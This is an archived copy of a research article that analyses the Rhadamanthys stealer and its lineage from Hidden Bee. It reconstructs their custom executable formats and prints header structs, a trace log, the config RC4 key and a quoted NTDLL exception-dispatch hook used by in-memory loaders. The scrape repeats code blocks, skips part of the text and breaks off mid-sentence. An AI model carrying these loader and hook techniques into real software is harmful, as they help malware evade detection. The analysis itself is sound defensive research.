{
	"id": "19adb461-6353-401a-8635-9f49e648b117",
	"created_at": "2026-04-23T02:54:02.745787Z",
	"updated_at": "2026-04-25T02:18:59.730057Z",
	"deleted_at": null,
	"sha1_hash": "1476c6800b40266d546f453f3d548395ed0a662d",
	"title": "From Hidden Bee to Rhadamanthys – The Evolution of Custom Executable Formats",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 274489,
	"plain_text": "From Hidden Bee to Rhadamanthys – The Evolution of Custom\r\nExecutable Formats\r\nBy etal\r\nPublished: 2023-08-31 · Archived: 2026-04-23 02:04:19 UTC\r\nResearch by: hasherezade\r\nHighlights\r\nRhadamanthys stealer’s design and implementation significantly overlap with those of Hidden Bee coin miner.\r\nThe similarity is apparent at many levels: custom executable formats, the use of similar virtual filesystems,\r\nidentical paths to some of the components, reused functions, similar use of steganography, use of LUA scripts, and\r\noverall analogous design.\r\nCheck Point Research (CPR) highlights and provides a technical analysis of some of those similarities, with a\r\nspecial focus on the custom executable formats. We present details of RS, HS, and the latest XS executable\r\nformats used by this malware.\r\nWe explain implementation details, i.e. the inner workings of the identical homebrew exception handling used for\r\ncustom modules in both Rhadamanthys and Hidden Bee.\r\nBasing on the Hidden Bee format converters, we provide a tool allowing to reconstruct PEs from the\r\nRhadamanthys custom formats in order to aid analysis.\r\nWe give an overview of particular stages and involved modules.\r\nIntroduction\r\nRhadamanthys is a relatively new stealer that continues to evolve and gain in popularity. The earliest mention was in a black\r\nmarket advertisement in September 2022. The stealer immediately caught the attention of buyers as well as researchers due\r\nto its very rich feature set and its well-polished, multi-staged design. The malware seller, using the handle King Crete\r\n(kingcrete2022), and writing mostly in Russian, came across as very professional. Although malware sellers are not\r\nnecessarily the original authors, the way King Crete responded to questions suggested an in-depth knowledge of the code,\r\nsparking curiosity and speculation on what other malware he may have authored (For more on the background and\r\ndistribution of Rhadamanthys, see our previous article). The development of the malware is fast-paced and ongoing. The\r\nadvertisement process is not stagnant either, with updates published i.e. on a Tor-based website. The latest advertised version\r\nup to date is 0.4.9 (Figure 1).\r\nFigure 1: The author advertises the latest version: 0.4.9, over the Telegram account\r\nFigure 1: The author advertises the latest version: 0.4.9, over the Telegram account\r\nIn addition to the rich set of stealing features, Rhadamanthys comes with some obfuscation ideas that are pretty niche. While\r\nthe initial loader is a typical Windows PE, most of the core modules are delivered in the form of custom executable formats.\r\nThe seller’s advertisement describes this feature in vague terms, which provide assurance about the quality without giving\r\nany hints about the implementation. As it says in the ad, “all functional operations are executed in memory, no disk packing\r\noperations, with the Loader that can execute loading in memory, it can perfectly realize memory loading operations” (Figure\r\n2).\r\nFigure 2: Advertisement from one of the forums describing the Rhadamanthys stealer’s capabilities\r\nFigure 2: Advertisement from one of the forums describing the Rhadamanthys stealer’s capabilities\r\nMultiple researchers (i.e., from Kaspersky[2][3], ZScaller[4]) quickly noticed the similarities between the formats used by\r\nRhadamanthys and the ones belonging to Hidden Bee, which is another complex malware consisting of multiple stages.\r\nHidden Bee first appeared around 2018, and its final payload was a coin miner implemented by LUA scripts. Its main\r\ndistribution channel used to be an Underminer Exploit Kit. Initially, it seemed that a lot of effort was put into the malware\r\ndevelopment. However, as time went by, it became more and more rare to find new samples. The last ones were observed in\r\n2021. It is possible that the mining business no longer proved as profitable to the authors, so they decided to repurpose the\r\ncode and began selling it to distributors.\r\nIn this report, we review the custom formats used by both malware families and highlight their similarities. We present\r\narguments supporting the theory that Rhadamanthys is a continuation of the work started as Hidden Bee.\r\nWe also offer converters that can reconstruct PE files from the custom formats, which enabled us to circumvent some of the\r\nproblems other researchers noted while analyzing this malware and quickly reach the core of the stealer’s logic.\r\nIn the first part of the article, we show the Rhadamanthys execution chain, provide details about the formats and PE\r\nreconstruction, and compare their similarities with the Hidden Bee. In the second part, we show the code logic and how the\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 1 of 43\n\nstealer functionality is deployed.\r\nNOTE: For the sake of readability, we use a convention that light mode IDA screenshots are related to Hidden Bee, while\r\ndark mode to Rhadamanthys.\r\nThe joy of custom formats\r\nThe use of customized executable formats in malware loaders is not something new. It is a form of obfuscation, making it\r\nmore difficult for memory scanners to detect the loaded sample, as well as presents an additional obstacle for researchers\r\nduring the analysis process. While most malware authors stick to writing custom PE loaders, some go further and modify\r\nselected parts of the format by their own creativity. Even more rare are components where the customization is advanced\r\nenough to make it a completely different format that has little or no resemblance to the PE.\r\nThe analysis of this phenomenon was described in the session “Funky malware formats”, presented at SAS 2019. One of the\r\nmentioned examples was a format used by Hidden Bee. However, the set of custom formats that this malware offered over\r\ntime is very rich, and not all of them have been covered in the talk.\r\nBelow, we will highlight two of the Hidden Bee formats that have the most in common with the ones used nowadays by\r\nRhadamanthys. They will become a base for further comparison.\r\nIn a Malwarebytes article from 2018, two Hidden Bee formats have been mentioned: NE and NS, as well as their loading\r\nprocess. As we show later on, both of those formats share elements with the ones used by Rhadamanthys. In the NE format\r\nloader, we found some functions that also occur almost unchanged in the current malware’s components. The NS format is\r\neven more noteworthy as it is a direct predecessor of the formats used by Rhadamanthys.\r\nThe NE format\r\nNE is the simpler of the two mentioned formats, more closely resembling PE. The custom header is a replacement for the\r\nDOS header:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\nWORD magic; // 'NE'\r\nWORD pe_offset;\r\nWORD machine_id;\r\nWORD magic; // 'NE' WORD pe_offset; WORD machine_id;\r\nWORD magic; // 'NE'\r\nWORD pe_offset;\r\nWORD machine_id;\r\nThe rest of the headers are identical to PE, and only the “PE” magic identifier was erased.\r\nAs mentioned in the article [8] “The conversion back to PE format is trivial: It is enough to add the erased magic numbers:\r\nMZ and PE, and to move displaced fields to their original offsets. The tool that automatically does the mentioned conversion\r\nis available here.”\r\nWhile the NE format by itself is not particularly interesting, by looking inside the converted application, we can see some\r\nfunctions almost identical to the ones found in Rhadamanthys.\r\nHandling exceptions from a custom module\r\nCustom loading some crucial fragments of the PE structure, such as imports and relocations, is relatively easy, but problems\r\ncan occur if we want to convert a PE file with an exception table. Imagine that some of the code of our implant has try-catch\r\nblocks inside. The  try  block may cause an exception to be thrown, and the  catch  block is where they are normally\r\nhandled. The list of those handlers is stored in the Exception Table, which is one of the Data Directories within a PE. If, for\r\nany reason, the proper handler is not found, the corresponding exception causes the application to crash. (For a more\r\ndetailed explanation, reference Microsoft’s documentation). Interestingly, although there are many malware families that use\r\ncustom loaders, they usually don’t address this part of the PE format. However, Hidden Bee, as well as its successor\r\nRhadamanthys, don’t shy away from it.\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 2 of 43\n\nLet’s look into the main function where the NE module execution starts – first, a 64-bit example:\r\nFigure 3: Main function of the module in NE format, 64-bit\r\nFigure 3: Main function of the module in NE format, 64-bit\r\nThe first step is a simple verification of the NE magic. When the check passes, the module initializes its exception directory\r\n(using the function denoted as  add_dynamic_seh_handlers ).\r\nNext, the error mode is being set to  0x8003  -\u003e  SEM_NOOPENFILEERRORBOX | SEM_NOGPFAULTERRORBOX |\r\nSEM_FAILCRITICALERRORS . That means all error messages are muted, most likely to ensure stealth, just in case some of the\r\nexceptions within the module would not be handled properly.\r\nThe function denoted as  add_dynamic_seh_handlers  shows how the exception handling for a custom module can be\r\nimplemented for a 64-bit application:\r\nFigure 4: A function registering custom exception handlers, 64-bit\r\nFigure 4: A function registering custom exception handlers, 64-bit\r\nThe solution looks fairly easy: the exceptions table is fetched from the module and then initialized by the Windows API\r\nfunction  RtlAddFunctionTable . Thanks to this, whenever the exception is thrown from within the custom module, an\r\nappropriate handler will be found and executed.\r\nHowever, the mentioned API function can be used only for 64-bit binaries and has no 32-bit equivalent. So, how do we\r\nmanage an analogous situation for a 32-bit module? Let’s have a look at the 32-bit version of the NE module:\r\nFigure 5: Main function of the module in NE format, 32-bit\r\nFigure 5: Main function of the module in NE format, 32-bit\r\nIn this case, the author goes another approach by hooking the exception dispatcher ( KiUserExceptionDispatcher ) within\r\nthe NTDLL. More precisely, a call to  ZwQueryInformationProcess  within the  RtlDispatchException  is redirected to a\r\nproxy function. As we will see, the same trick is used by Rhadamanthys.\r\nThe original call to  ZwQueryInformationProcess  within NTDLL is replaced:\r\nFigure 6: A hooked function RtlDispatchException within NTDLL. The address marked red leads to the\r\nnew, implanted module.\r\nFigure 6: A hooked function RtlDispatchException within NTDLL. The address marked red leads to the new,\r\nimplanted module.\r\nThe redirection leads to the function denoted as  proxy_func , which is within the NE module:\r\nFigure 7: A proxy function within the NE module, where the hook installed in NTDLL leads to\r\nFigure 7: A proxy function within the NE module, where the hook installed in NTDLL leads to\r\nThe proxy function instruments the call to the  ZwQueryInformationProcess  and alters its result. First, the original version\r\nof the function is called. If it returns 0 ( STATUS_SUCCESS ), an additional flag is set on the output.\r\nThis method of handling exceptions from a custom module was documented in the following\r\nwriteup: https://web.archive.org/web/20220522070336/https://hackmag.com/uncategorized/exceptions-for-hardcore-users/\r\nWe can see that the proxy function used by the Hidden Bee module is identical to the one proposed in the mentioned article.\r\nQuoted snippet:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\nNTSTATUS __stdcall xNtQueryInformationProcess(HANDLE ProcessHandle, INT ProcessInformationClass, PVOID\r\nProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength)\r\n{\r\nNTSTATUS Status = org_NtQueryInformationProcess(ProcessHandle, ProcessInformationClass, ProcessInformation,\r\nProcessInformationLength, ReturnLength);\r\nif (!Status \u0026\u0026 ProcessInformationClass == 0x22) /* ProcessExecuteFlags */\r\n*(PDWORD)ProcessInformation |= 0x20; /* ImageDispatchEnable */\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 3 of 43\n\nreturn Status;\n}\nNTSTATUS __stdcall xNtQueryInformationProcess(HANDLE ProcessHandle, INT ProcessInformationClass, PVOID\nProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength) { NTSTATUS Status =\norg_NtQueryInformationProcess(ProcessHandle, ProcessInformationClass, ProcessInformation, ProcessInformationLength,\nReturnLength); if (!Status \u0026\u0026 ProcessInformationClass == 0x22) /* ProcessExecuteFlags */ *\n(PDWORD)ProcessInformation |= 0x20; /* ImageDispatchEnable */ return Status; }\nNTSTATUS __stdcall xNtQueryInformationProcess(HANDLE ProcessHandle, INT ProcessInformationClass, PVOID Process\n{\n NTSTATUS Status = org_NtQueryInformationProcess(ProcessHandle, ProcessInformationClass, ProcessInforma\n if (!Status \u0026\u0026 ProcessInformationClass == 0x22) /* ProcessExecuteFlags */\n *(PDWORD)ProcessInformation |= 0x20; /* ImageDispatchEnable */\n return Status;\n}\nThe above code enables the ImageDispatchEnable flag for the process, and as a result, the custom module is treated as a\nvalid image (MEM_IMAGE), even though, in reality, it is loaded as MEM_PRIVATE. This simple trick is enough for the\nexception handlers to be found.\nDemo:\nWe can see it reproduced in the following simplified PoC, which involves MS Detours as a hooking library\nand LibPEConv as a manual loader: https://gist.github.com/hasherezade/3a9417377cacd893c580bdffb85292c1. We can test\nit by deploying a manually loaded executable that throws\nexceptions: https://github.com/hasherezade/libpeconv/blob/master/tests/test_case7/main.cpp. The result shows that, indeed,\nthe exception handlers are properly executed:\nFigure 8: Demo of a manually loaded PE, where exception handlers are installed by the method analogous to\nthe one used by the NE format. All handlers got properly executed.\nWithout the applied hook, any exception thrown from the manually loaded module causes a crash.\nThe NS format\nWay more interesting is the second format, starting with the magic “NS”. As we prove later, this is the basis of the formats\nthat are now used for the Rhadamanthys components.\nThe visualization is shown below:\nFigure 9: A diagram describing the NS format header. Source: [\n\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\nconst WORD NS_MAGIC = 0x534e;\r\nnamespace ns_exe {\r\nconst size_t NS_DATA_DIR_COUNT = 6;\r\nenum data_dir_id {\r\nNS_IMPORTS = 1,\r\nNS_RELOCATIONS = 3,\r\nNS_IAT = 4\r\n};\r\ntypedef struct {\r\nDWORD dir_va;\r\nDWORD dir_size;\r\n} t_NS_data_dir;\r\ntypedef struct {\r\nDWORD va;\r\nDWORD size;\r\nDWORD raw_addr;\r\nDWORD characteristics;\r\n} t_NS_section;\r\ntypedef struct {\r\nDWORD dll_name_rva;\r\nDWORD original_first_thunk;\r\nDWORD first_thunk;\r\nDWORD unknown;\r\n} t_NS_import;\r\ntypedef struct NS_format {\r\nWORD magic; // 0x534e\r\nWORD machine_id;\r\nWORD sections_count;\r\nWORD hdr_size;\r\nDWORD entry_point;\r\nDWORD module_size;\r\nDWORD image_base;\r\nDWORD image_base_high;\r\nDWORD saved;\r\nDWORD unknown1;\r\nt_NS_data_dir data_dir[NS_DATA_DIR_COUNT];\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 5 of 43\n\nt_NS_section sections[SECTIONS_COUNT];\r\n} t_NS_format;\r\n};\r\nconst WORD NS_MAGIC = 0x534e; namespace ns_exe { const size_t NS_DATA_DIR_COUNT = 6; enum data_dir_id {\r\nNS_IMPORTS = 1, NS_RELOCATIONS = 3, NS_IAT = 4 }; typedef struct { DWORD dir_va; DWORD dir_size; }\r\nt_NS_data_dir; typedef struct { DWORD va; DWORD size; DWORD raw_addr; DWORD characteristics; } t_NS_section;\r\ntypedef struct { DWORD dll_name_rva; DWORD original_first_thunk; DWORD first_thunk; DWORD unknown; }\r\nt_NS_import; typedef struct NS_format { WORD magic; // 0x534e WORD machine_id; WORD sections_count; WORD\r\nhdr_size; DWORD entry_point; DWORD module_size; DWORD image_base; DWORD image_base_high; DWORD\r\nsaved; DWORD unknown1; t_NS_data_dir data_dir[NS_DATA_DIR_COUNT]; t_NS_section\r\nsections[SECTIONS_COUNT]; } t_NS_format; };\r\nconst WORD NS_MAGIC = 0x534e;\r\nnamespace ns_exe {\r\n const size_t NS_DATA_DIR_COUNT = 6;\r\n enum data_dir_id {\r\n NS_IMPORTS = 1,\r\n NS_RELOCATIONS = 3,\r\n NS_IAT = 4\r\n };\r\n typedef struct {\r\n DWORD dir_va;\r\n DWORD dir_size;\r\n } t_NS_data_dir;\r\n typedef struct {\r\n DWORD va;\r\n DWORD size;\r\n DWORD raw_addr;\r\n DWORD characteristics;\r\n } t_NS_section;\r\n typedef struct {\r\n DWORD dll_name_rva;\r\n DWORD original_first_thunk;\r\n DWORD first_thunk;\r\n DWORD unknown;\r\n } t_NS_import;\r\n typedef struct NS_format {\r\n WORD magic; // 0x534e\r\n WORD machine_id;\r\n WORD sections_count;\r\n WORD hdr_size;\r\n DWORD entry_point;\r\n DWORD module_size;\r\n DWORD image_base;\r\n DWORD image_base_high;\r\n DWORD saved;\r\n DWORD unknown1;\r\n t_NS_data_dir data_dir[NS_DATA_DIR_COUNT];\r\n t_NS_section sections[SECTIONS_COUNT];\r\n } t_NS_format;\r\n};\r\nThe complete converter of the NS format is available at:\r\nhttps://github.com/hasherezade/hidden_bee_tools/blob/master/bee_lvl2_converter/ns_exe.cpp\r\nKernel mode NS modules\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 6 of 43\n\nWhile the custom executable formats are, in general, uncommon, even more unusual was to see them used for kernel mode\r\nmodules.\r\nThe function presented below shows a fragment of the loader used by Hidden Bee (module  kloader.bin ), whose role is to\r\nload drivers in the custom format (NS):\r\nFigure 11: Fragment of the kernel-mode loader for NS format (Hidden Bee, kloader.bin)\r\nFigure 11: Fragment of the kernel-mode loader for NS format (Hidden Bee, kloader.bin)\r\nTo date, kernel mode modules haven’t been observed in Rhadamanthys. However, they show the authors’ diverse skills and\r\nhow much they are invested in innovating various new formats.\r\nRhadamanthys formats: RS and HS\r\nCustom formats RS and HS have been observed in Rhadamanthys version 0.4.1, and below.\r\nLooking at their structure, we can see an uncanny similarity to the previously mentioned NS format, to the point that\r\nmodifying the original Hidden Bee converter to support them was a matter of a short time. In this part, we will present their\r\ninternals.\r\nUnpacking the custom format\r\nReaching the components in the custom formats may not be straightforward and requires some unpacking skills. The initial\r\nRhadamanthys module is a PE file distributed to victims during malicious campaigns. It is usually wrapped in\r\nsome packer/crypter for additional protection. As Rhadamanthys is sold publicly and used by various distributors, the choice\r\nof which outer crypter is used may vary; hence, we will skip the related part. In many cases, we can quickly unpack it\r\nby mal_unpack/PEsieve.\r\nAssuming that we got rid of the third-party layer, we are at the first Rhadamanthys executable (referred to as Stage 1).\r\nTracing the application with Tiny Tracer quickly allows to find the offsets that should draw our attention. Fragment of the\r\ntracelog:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\n31f8;kernel32.HeapFree\r\n326e;kernel32.HeapFree\r\n3277;kernel32.HeapDestroy\r\n1003;called: ?? [694000+730]\r\n\u003e 694000+9ff;kernel32.LocalAlloc\r\n\u003e 694000+7c9;kernel32.LocalAlloc\r\n\u003e 694000+96f;kernel32.LocalFree\r\n\u003e 694000+a44;kernel32.VirtualAlloc\r\n\u003e 694000+a88;kernel32.LocalFree\r\n\u003e 694000+a95;called: ?? [ca96000+1d4]\r\n\u003e ca96000+1de;called: ?? [ca95000+cae]\r\n\u003e ca95000+cff;called: ?? [ca96000+1e3]\r\n\u003e ca96000+1e8;called: ?? [ca95000+e73]\r\n\u003e ca95000+ecf;called: ?? [ca96000+1ed]\r\n31f8;kernel32.HeapFree 326e;kernel32.HeapFree 3277;kernel32.HeapDestroy 1003;called: ?? [694000+730] \u003e\r\n694000+9ff;kernel32.LocalAlloc \u003e 694000+7c9;kernel32.LocalAlloc \u003e 694000+96f;kernel32.LocalFree \u003e\r\n694000+a44;kernel32.VirtualAlloc \u003e 694000+a88;kernel32.LocalFree \u003e 694000+a95;called: ?? [ca96000+1d4] \u003e\r\nca96000+1de;called: ?? [ca95000+cae] \u003e ca95000+cff;called: ?? [ca96000+1e3] \u003e ca96000+1e8;called: ?? [ca95000+e73] \u003e\r\nca95000+ecf;called: ?? [ca96000+1ed]\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 7 of 43\n\n31f8;kernel32.HeapFree\r\n326e;kernel32.HeapFree\r\n3277;kernel32.HeapDestroy\r\n1003;called: ?? [694000+730]\r\n\u003e 694000+9ff;kernel32.LocalAlloc\r\n\u003e 694000+7c9;kernel32.LocalAlloc\r\n\u003e 694000+96f;kernel32.LocalFree\r\n\u003e 694000+a44;kernel32.VirtualAlloc\r\n\u003e 694000+a88;kernel32.LocalFree\r\n\u003e 694000+a95;called: ?? [ca96000+1d4]\r\n\u003e ca96000+1de;called: ?? [ca95000+cae]\r\n\u003e ca95000+cff;called: ?? [ca96000+1e3]\r\n\u003e ca96000+1e8;called: ?? [ca95000+e73]\r\n\u003e ca95000+ecf;called: ?? [ca96000+1ed]\r\nReading the above snippet, we can pinpoint two places where the execution got redirected to the next unnamed module\r\n(possibly shellcode). First, the redirection from the main module happens at RVA 0x1003. Then, looking at the called\r\nfunctions (i.e.  VirtualAlloc ), we can assume there was another module unpacked by the first shellcode. The execution is\r\nredirected at shellcode’s offset 0xA95.\r\nIf we set a breakpoint at the first offset, we can follow those transitions under the debugger.\r\nFigure 12: The execution is redirected from the main module to the shellcode\r\nFigure 12: The execution is redirected from the main module to the shellcode\r\nThe revealed shellcode is responsible for unpacking, remapping, and running the next stage, which is in a custom executable\r\nformat. The module is shipped in a compressed form:\r\nFigure 13: Compressed RS module visible in memory\r\nFigure 13: Compressed RS module visible in memory\r\nThe shellcode decompresses it first, and the interesting structure gets revealed:\r\nFigure 14: The decompression function is executed, revealing the RS module\r\nFigure 14: The decompression function is executed, revealing the RS module\r\nAs we can see, the unpacked stage is the first module in a custom executable format,  RS .\r\nThe shellcode remaps the RS module from raw to virtual format into the newly allocated, executable memory area. For this\r\npurpose, it uses the information about the sections that is stored in the custom RS header.\r\nNext, the execution is redirected to the Entry Point of the new module. Note that the new component still depends on the\r\ndata passed from Stage 1. Its start function expects two arguments. The first one is the module’s own base. The second is a\r\ndata structure, with two pointers leading to important blocks of data.\r\nFigure 15: The data blocks from the Stage 1 propagated to the custom module\r\nFigure 15: The data blocks from the Stage 1 propagated to the custom module\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\n// passed structure with pointers to two data blocks\r\nstruct mod_data {\r\n_BYTE *compressed_data;\r\n_BYTE *url_config;\r\n};\r\n// passed structure with pointers to two data blocks struct mod_data { _BYTE *compressed_data; _BYTE *url_config; };\r\n// passed structure with pointers to two data blocks\r\nstruct mod_data {\r\n _BYTE *compressed_data;\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 8 of 43\n\n_BYTE *url_config;\r\n};\r\nOne of the addresses points to the compressed data block. This is a package in a proprietary format and contains other\r\nmodules to be loaded. It is an equivalent of the virtual filesystems implemented in Hidden Bee (more details later in the\r\nreport).\r\nThe next component is a config, which contains the URL of the C2 that will be queried to download the next stage. The\r\nconfig is RC4 encrypted, using a 32-byte long, hardcoded key. For the analyzed cases, the key was:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\n52 AB DF 06 B6 B1 3A C0 DA 2D 22 DC 6C D2 BE 6C 20 17 69 E0 12 B5 E6 EC 0E AB 4C 14 73 4A ED 51\r\n52 AB DF 06 B6 B1 3A C0 DA 2D 22 DC 6C D2 BE 6C 20 17 69 E0 12 B5 E6 EC 0E AB 4C 14 73 4A ED 51\r\n52 AB DF 06 B6 B1 3A C0 DA 2D 22 DC 6C D2 BE 6C 20 17 69 E0 12 B5 E6 EC 0E AB 4C 14 73 4A ED 51\r\nThe decrypted config for the currently analyzed version has the following structure:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\nstruct config_data {\r\nDWORD rhy_magic; //!RHY\r\nDWORD flags;\r\nchar next_key[16];\r\nchar c2_url[1];\r\n}\r\nstruct config_data { DWORD rhy_magic; //!RHY DWORD flags; char next_key[16]; char c2_url[1]; }\r\nstruct config_data {\r\n DWORD rhy_magic; //!RHY\r\n DWORD flags;\r\n char next_key[16];\r\n char c2_url[1];\r\n}\r\nThis configuration is embedded into the Rhadamanthys Stage 1 executable by the builder, which is a part of the toolkit sold\r\nto the distributors.\r\nThe RS format\r\nFollowing the steps described above, we were able to dump a complete executable in the RS format in its raw version. Let’s\r\nnow analyze the structure and the way it is loaded so that we can convert it back to the PE.\r\nThe header of the RS format has many similarities with the NS format, known from Hidden Bee. The reconstructed\r\nstructures are presented below:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 9 of 43\n\nnamespace rs_exe {\r\nconst size_t RS_DATA_DIR_COUNT = 3;\r\nenum data_dir_id {\r\nRS_IMPORTS = 0,\r\nRS_EXCEPTIONS,\r\nRS_RELOCATIONS = 2\r\n};\r\ntypedef struct {\r\nDWORD dir_size;\r\nDWORD dir_va;\r\n} t_RS_data_dir;\r\ntypedef struct {\r\nDWORD raw_addr;\r\nDWORD va;\r\nDWORD size;\r\n} t_RS_section;\r\ntypedef struct {\r\nDWORD dll_name_rva;\r\nDWORD first_thunk;\r\nDWORD original_first_thunk;\r\n} t_RS_import;\r\ntypedef struct {\r\nWORD magic; // 0x5352\r\nWORD machine_id;\r\nWORD sections_count;\r\nWORD hdr_size;\r\nDWORD entry_point;\r\nDWORD module_size;\r\nt_RS_data_dir data_dir[RS_DATA_DIR_COUNT];\r\nt_RS_section sections[SECTIONS_COUNT];\r\n} t_RS_format;\r\n};\r\nnamespace rs_exe { const size_t RS_DATA_DIR_COUNT = 3; enum data_dir_id { RS_IMPORTS = 0, RS_EXCEPTIONS,\r\nRS_RELOCATIONS = 2 }; typedef struct { DWORD dir_size; DWORD dir_va; } t_RS_data_dir; typedef struct { DWORD\r\nraw_addr; DWORD va; DWORD size; } t_RS_section; typedef struct { DWORD dll_name_rva; DWORD first_thunk;\r\nDWORD original_first_thunk; } t_RS_import; typedef struct { WORD magic; // 0x5352 WORD machine_id; WORD\r\nsections_count; WORD hdr_size; DWORD entry_point; DWORD module_size; t_RS_data_dir\r\ndata_dir[RS_DATA_DIR_COUNT]; t_RS_section sections[SECTIONS_COUNT]; } t_RS_format; };\r\nnamespace rs_exe {\r\nconst size_t RS_DATA_DIR_COUNT = 3;\r\n enum data_dir_id {\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 10 of 43\n\nRS_IMPORTS = 0,\r\n RS_EXCEPTIONS,\r\n RS_RELOCATIONS = 2\r\n };\r\n typedef struct {\r\n DWORD dir_size;\r\n DWORD dir_va;\r\n } t_RS_data_dir;\r\n typedef struct {\r\n DWORD raw_addr;\r\n DWORD va;\r\n DWORD size;\r\n } t_RS_section;\r\n typedef struct {\r\n DWORD dll_name_rva;\r\n DWORD first_thunk;\r\n DWORD original_first_thunk;\r\n } t_RS_import;\r\n typedef struct {\r\n WORD magic; // 0x5352\r\n WORD machine_id;\r\n WORD sections_count;\r\n WORD hdr_size;\r\n DWORD entry_point;\r\n DWORD module_size;\r\n t_RS_data_dir data_dir[RS_DATA_DIR_COUNT];\r\n t_RS_section sections[SECTIONS_COUNT];\r\n } t_RS_format;\r\n};\r\nAs we could see under the debugger, the first steps required for loading the format are taken by the intermediary shellcode.\r\nIt remaps the module from the raw format (which is more condensed) into the virtual one (ready to be executed). The\r\nreconstruction of the function responsible:\r\nFigure 16: The function within the shellcode - unpacking the RS module and preparing it to be executed\r\nFigure 16: The function within the shellcode – unpacking the RS module and preparing it to be executed\r\nAnalyzing the above function, we can see that the shellcode decompresses the passed block of data, revealing the RS\r\nmodule in its raw form. The RS header is then parsed to obtain some needed information. First, a memory for the virtual\r\nimage is allocated. The sections are then copied in a loop to that memory. This mechanism is very similar to the equivalent\r\nstage of PE loading. After the mapping is done, the Entry Point from the header is fetched, and the execution is passed there.\r\nThis is where the intermediary shellcode’s role ends. The module itself proceeds with the remaining steps required for its\r\nown loading. Let’s have a look at the start function of the RS module:\r\nFigure 17: The start function of the RS module\r\nFigure 17: The start function of the RS module\r\nThe first few functions are exactly what we can expect in case of module loading, but they are implemented following the\r\ncustom format. After the loading is finished, the module erases its own header in order to make it more difficult to dump and\r\nreconstruct it from memory.\r\nLooking at the overall structure of the start function, we can see some similarities to the analogous functions of the Hidden\r\nBee modules.\r\nThe first function that is called at the start is to apply relocations – adjusting each absolute address in the module to the\r\nactual load base. The format used for relocation blocks doesn’t differ from the PE standard (it is the only artifact that was\r\nleft unchanged for now), so we omit the detailed description.\r\nThe next important function is for resolving all needed imports. The overview:\r\nFigure 18: RS format imports loading function\r\nFigure 18: RS format imports loading function\r\nAs we know, functions imported from external libraries can be fetched in two ways: by names or by ordinals. Names stored\r\nin a binary can give a lot of hints about the module’s functionality, so malware authors often try to hide them. A popular\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 11 of 43\n\ntechnique to achieve this goal is by using hashes/checksums of the names. This is also implemented in the current format. In\r\nthe case of functions that are expected to be loaded by name, the original string is erased and replaced by its checksum (that\r\nis, a DWORD stored at the corresponding offset of  PIMAGE_IMPORT_BY_NAME ). Upon loading, the actual name is searched by\r\nthe checksum and then used as an argument to the standard WinAPI function  GetProcAddress .\r\nNext, we can see the implementation of custom exception handling. The solution used is identical to the one from the\r\npreviously described NE format of Hidden Bee (for more details, see “Handling exceptions from a custom module”).\r\nFigure 19: The function patching exception dispatcher within NTDLL. More details in “Handling\r\nexceptions from a custom module”\r\nFigure 19: The function patching exception dispatcher within NTDLL. More details in “Handling exceptions\r\nfrom a custom module”\r\nAn address of a call to  ZwQueryInformationProcess  was replaced, and now it points to the virtual offset 0x595e in the\r\nRhadamanthys module.\r\nFigure 20: The fragment of the function within the modified NTDLL, viewed by IDA. An address of a\r\nfunction was replaced to redirect execution into the function within the Rhadamanthys module.\r\nThe function where the redirection leads is identical to what we saw in the case of Hidden Bee:\r\nFigure 21: The proxy function for ZwQueryInformationProcess: sets the “ImageDispatchEnable” flag for\r\nthe process\r\nFigure 21: The proxy function for ZwQueryInformationProcess: sets the “ImageDispatchEnable” flag for the\r\nprocess\r\nAfter all the steps related to module loading, the main function, responsible for the core functionality of the module, is\r\ncalled. The details of the functionality are described in a later chapter.\r\nThe complete converter of the RS format is available here:\r\nhttps://github.com/hasherezade/hidden_bee_tools/blob/master/bee_lvl2_converter/rs_exe.cpp\r\nDemo\r\nConverting the RS module (raw format) dumped from memory into PE:\r\nFigure 22: Demo - using a prepared converter on the dumped RS module to obtain a PE\r\nFigure 22: Demo – using a prepared converter on the dumped RS module to obtain a PE\r\nThe input RS file: f9051752a96a6ffaa00760382900f643\r\nThe resulting output is a PE file, which can be further analyzed using typical tools, such as IDA.\r\nFigure 23: Preview of the converted module (view from PE-bear)\r\nFigure 23: Preview of the converted module (view from PE-bear)\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 12 of 43\n\nThe HS format\r\nA similar, yet not identical, format 